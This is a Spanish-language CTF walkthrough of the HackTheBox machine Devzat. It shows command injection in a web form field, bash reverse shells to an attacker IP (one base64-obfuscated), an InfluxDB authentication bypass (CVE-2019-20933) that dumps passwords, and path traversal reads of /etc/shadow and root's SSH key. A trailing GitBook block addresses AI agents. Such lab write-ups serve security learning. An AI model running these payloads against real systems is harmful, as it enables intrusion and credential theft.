> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md).

# Resolución de HackTheBox Devzat

{% embed url="<https://app.hackthebox.com/machines/398>" %}

{% hint style="warning" %}
**Habilidades:**

* Fuzzing de directorios
* Inyección web (RCE)
* Abusando de InfluxDB (CVE-2019-20933)
* Abusando del comando /file del chat Devzat (escalada de privilegios)
  {% endhint %}

## Reconocimiento:

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/0c5ee6de49bd29ad0a935bbfc2069b9feab5f0b4" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/974c411e16c0e5e2e0f95dda44c0f705983d620a" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts
```

<figure><img src="/files/a7143cb42faddc6bf4b3896bd69e1cb1ce7a2d8e" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Uso de la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (22.80.8000)

<figure><img src="/files/4a9481388fe9886bebe09573924fc7c5e9a952e3" alt="" width="563"><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted
```

<figure><img src="/files/cb8bfb8da0869ddd48919b503c8fb01b0d90f63f" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

<figure><img src="/files/5e1c8d8c1a1ddfd16b10ffe95dcd341ade255af3" alt="" width="539"><figcaption></figcaption></figure>

### Puerto 80

<figure><img src="/files/6d411af36a37bc6b35b9beab728fdfade9a5deb5" alt=""><figcaption></figcaption></figure>

Usando `whatweb`, encontramos un correo electrónico asociado con el sitio: `patrick@devzat.htb`.

<figure><img src="/files/628d6dfb72e8269354811ddd68a9260f1a084516" alt=""><figcaption></figcaption></figure>

La aplicación también nos informa de que podemos usar el puerto 8000 para conectarnos por SSH a "chat":

```bash
ssh -l [username] devzat.htb -p 8000 
```

<figure><img src="/files/cf06b98b15ff01ab17cfc6f05d6f0e0240ea6aae" alt=""><figcaption></figcaption></figure>

### Puerto 8000:

Intentamos conectarnos, pero ocurre un problema porque se requiere una clave SSH:

```bash
ssh -l jordan devzat.htb -p 8000
```

<figure><img src="/files/acc85820584e70fbba70002accce60c125975552" alt=""><figcaption></figcaption></figure>

**Forzando temporalmente el uso de SSH-RSA:** Especificamos el tipo de clave SSH que se usará para esta sesión con la siguiente opción:

```bash
ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
```

<figure><img src="/files/dd25929155ceffcbe3f14408e1e699d24091cc2b" alt=""><figcaption></figcaption></figure>

### **Proyecto Devzat (chat SSH):**

{% hint style="info" %}
Devzat es un servidor SSH personalizado que conecta a un chat en lugar de a un intérprete de comandos. Como las aplicaciones SSH están disponibles en todas las plataformas (incluidos los teléfonos), puedes conectarte a Devzat desde cualquier dispositivo.
{% endhint %}

Aquí hay una lista de comandos que se pueden ejecutar en este chat:

<figure><img src="/files/49ccd10573d26364ca3d20417062902b4d397cf4" alt=""><figcaption></figcaption></figure>

### Fuzzing **directorios:**

Usamos `gobuster` para listar directorios en el sitio:

```bash
gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

No se encontraron resultados interesantes.

<figure><img src="/files/c36d51c47dafc5bee93b2da115fc258e68f7d713" alt=""><figcaption></figcaption></figure>

### **Fuzzing de subdominios**

Buscamos subdominios con `gobuster`:

```bash
gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302"
```

Descubrimos el `pets.devzat.htb` subdominio y lo añadimos al `/etc/hosts` archivo.

<figure><img src="/files/760b7a06ea213fd869a90ee6ca370b447069f802" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e8a9ed9e69ce851e65724ad9c3fb8379aa1c7517" alt=""><figcaption></figcaption></figure>

## **Vulnerabilidad (RCE) JSON:**

<figure><img src="/files/63cd44e2a653e77629eeedc8e74508051b51a2c7" alt=""><figcaption></figcaption></figure>

Tenemos la posibilidad de añadir "pets" con su especie, lo que permite una inyección JSON.

<figure><img src="/files/62094712340f1d232fc8fd8a2b0bbabf8e2f90cd" alt=""><figcaption></figcaption></figure>

Interceptamos solicitudes con Burp Suite e intentamos manipular la petición añadiendo una entrada con nombre y especie:

<figure><img src="/files/634b9034c0e95c02bffd171d9310ad0eab7c16e7" alt=""><figcaption></figcaption></figure>

Esta entrada se interpreta, lo que permite una inyección.

```json
{
    "Nombre": "jordan",
    "Especie": "jordan"
}
```

<figure><img src="/files/dfb37c6f2d3d80fbf2310d30cfb8802cf8451e96" alt=""><figcaption></figcaption></figure>

Escuchamos el tráfico ICMP para observar las comunicaciones y probar inyecciones de comandos:

```bash
sudo tcpdump -i tun0 icmp
```

Recibimos un ping de retorno, lo que confirma la posibilidad de ejecución remota de código.

<figure><img src="/files/5171ffd55e10bd3ada2686df2d7309f71059396b" alt=""><figcaption></figcaption></figure>

Luego enviamos una solicitud con `curl` a nuestro servidor Python y también recibimos una solicitud, lo que confirma la vulnerabilidad de ejecución remota de código.

```bash
{
    "Nombre": "jordan",
    "Especie": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}
```

<figure><img src="/files/2564d87d6886c9d63137faa3a020f53696aef0f0" alt="" width="502"><figcaption></figcaption></figure>

### Shell inversa

Intentamos crear una shell inversa:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"
```

Sin embargo, se produce un error de salida.

<figure><img src="/files/9b532d6c91a82796fe0412790ab5efc599ec1094" alt=""><figcaption></figcaption></figure>

**Solución al error (shell inversa):** Para resolver este error, creamos un archivo HTML que contiene la shell inversa, que codificamos en base64:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.12/443 0>&1
```

Convertimos este archivo a base64:

```bash
base64 -w 0 index.html
```

<figure><img src="/files/28b42ad443e9572996ba0cf295385eed52319801" alt="" width="563"><figcaption></figcaption></figure>

En la consulta, ejecutamos el echo de la cadena codificada en base64 y la decodificamos antes de ejecutar la shell:

{% code overflow="wrap" %}

```bash
{
    "Nombre": "jordan",
    "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash"
}
```

{% endcode %}

Una vez más, escuchamos en el puerto 443 y obtenemos una shell inversa.

<figure><img src="/files/a40a8b5ab0e2f08241cee60fe6e139020e02e370" alt=""><figcaption></figcaption></figure>

#### **Manejo de terminal:**

Para estabilizar nuestra sesión, usamos los siguientes comandos:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Escalada de privilegios <a href="#privilege-escalation" id="privilege-escalation"></a>

Observamos la necesidad de aumentar privilegios. Necesitamos pivotar para obtener acceso a la `catherine` cuenta de usuario.

<figure><img src="/files/a83e909ea2a961c5243327ca5272ea4d1aa0045a" alt="" width="563"><figcaption></figcaption></figure>

#### Identificación de puertos abiertos

Primero, observamos los puertos abiertos internamente usando el siguiente comando:

```bash
netstat -nltp
```

Los puertos abiertos son:

* 8086
* 8443
* 5000

<figure><img src="/files/db57cffbaeec244896ca802b1acb099a6582caeb" alt=""><figcaption></figcaption></figure>

### Redirección de puertos (SSH)

Redirigimos los puertos internos a nuestra máquina de ataque usando la clave privada del usuario y aplicando los permisos correctos:

```bash
chmod 600 id_rsa
```

<figure><img src="/files/453b57a53d38b4a78c0396ef1bda67a11857b257" alt=""><figcaption></figcaption></figure>

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

Luego usamos `nmap` para escanear los puertos redirigidos:

```bash
nmap -sCV -p5000,8443,8086 localhost -oN targeted
```

### Puerto 5000:

<figure><img src="/files/134e8de65106b68c35a6dafa4674bc40e5e2c44c" alt=""><figcaption></figcaption></figure>

Observamos que este puerto está vinculado al mismo servicio encontrado en el puerto 8000, lo que no nos da una vía de explotación adicional.

<figure><img src="/files/82f18837b2f63c29eedd1bb658ae28d34f1c08a9" alt=""><figcaption></figcaption></figure>

### **Puerto 8086 (InfluxDB)**

El servicio en el puerto 8086 es InfluxDB, versión 1.7.5. Identificamos una vulnerabilidad NCE (Ejecución remota de código) en InfluxDB:

<figure><img src="/files/843b31c5b5d1ab991d75799e840e138e05f84c8c" alt=""><figcaption></figcaption></figure>

**Vulnerabilidad:** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933)

{% embed url="<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>" %}

{% hint style="info" %}
Esta vulnerabilidad permite omitir la autenticación usando un token JWT cuyo `SharedSecret` está vacío (también conocido como secreto compartido), lo que nos da acceso a la base de datos.
{% endhint %}

<figure><img src="/files/f8a42c4466d17991652cbf8a0bfd4f38fe829358" alt=""><figcaption></figcaption></figure>

#### Acceso a la base de datos

Una vez conectados a InfluxDB, listamos las bases de datos disponibles:

```sql
SHOW DATABASES;
```

Seleccionamos la `devzat` base de datos y exploramos los datos de usuario. Empezamos listando las "mediciones":

```sql
SHOW MEASUREMENTS;
```

El **`token de usuario`** contiene información útil. Para explorar las columnas de esta medición, ejecutamos:

```sql
SHOW FIELD KEYS FROM "user";
```

A continuación mostramos los 10 primeros resultados de la `token de usuario` tabla:

```sql
SELECT * FROM "user" LIMIT 10;
```

<table data-header-hidden><thead><tr><th width="357"></th><th></th></tr></thead><tbody><tr><td><strong>contraseña</strong></td><td><strong>username</strong></td></tr><tr><td>WillyWonka2021</td><td>wilhelm</td></tr><tr><td>woBeeYareedahc7Oogeephies7Aiseci</td><td>catherine</td></tr><tr><td>RoyalQueenBee$</td><td>charles</td></tr></tbody></table>

La contraseña del usuario catherine es **`woBeeYareedahc7Oogeephies7Aiseci`**, lo que nos permite recuperar la **bandera** usuario.

### Bandera user.txt :)

Logramos acceder con éxito y pivotamos como `catherine`.

<figure><img src="/files/619afccf4eba75a1be8a9ffc79cab29aa0cdd8b7" alt="" width="563"><figcaption></figcaption></figure>

### Puerto 8443 (Devzat - Producción)

El puerto 8443 está dedicado a una instancia de Devzat en producción. Observamos que un parámetro enumera todos los archivos del sistema como root. Sin embargo, el acceso a esta función está protegido por una contraseña. `archivo` parámetro enumera todos los archivos del sistema como root. Sin embargo, el acceso a esta función está protegido por una contraseña.

<figure><img src="/files/b0acaabf9c7c37f329cd7c2ffcbdb3c3d36e3910" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/403165c5f6acf0fa9082e7cac94f290aaa58edb2" alt=""><figcaption></figcaption></figure>

Intentamos usar la contraseña de catherine, pero falla. Ahora necesitamos buscar archivos que catherine pueda leer en el sistema.

<figure><img src="/files/a224d9ef5bfc062e7278f0ce3637a282a11ecde2" alt="" width="538"><figcaption></figcaption></figure>

### Búsqueda de archivos accesibles por Catherine

Usamos el siguiente comando para buscar todos los archivos legibles por catherine:

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

Encontramos dos `.zip` archivos de respaldo:

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

Descargamos el `devzat-dev.zip` archivo de respaldo y filtramos su contenido en busca de contraseñas. Encontramos una contraseña útil: **`CeilingCatStillAThingIn2021?`**.

<figure><img src="/files/de9fc3634ddc831b4d71587d46293d98d5f3bf48" alt=""><figcaption></figcaption></figure>

Luego intentamos usar esta contraseña para acceder al `/etc/shadow` archivo mediante el `archivo` parámetro:

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

Aunque la contraseña es correcta, se requiere una **ruta cruzada** para obtener acceso completo. Usamos el siguiente comando para navegar por el sistema de archivos:

<figure><img src="/files/926ca695db275328d764cbbb8840d3811dbfb58d" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

Logramos mostrar el `/etc/shadow` archivo como root.

<figure><img src="/files/defe099312fe7ed59019392fde53af61474105ba" alt=""><figcaption></figcaption></figure>

### Acceso SSH como root

Finalmente, usamos una ruta cruzada adicional para acceder a la clave SSH de root:

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="/files/138219811aa8459e1f7ddce5c3fb3931656157bb" alt="" width="563"><figcaption></figcaption></figure>

Descargamos la clave SSH y nos conectamos como root.

<figure><img src="/files/4422015570b295359995832bf815f24ed322c943" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/b4d3b68fa10e33e9a24b1d0fa74c0adb58e19c62" alt="" width="470"><figcaption></figcaption></figure>

<figure><img src="/files/1ed3b21e587368720157868ab25e38098448f971" alt="" width="542"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
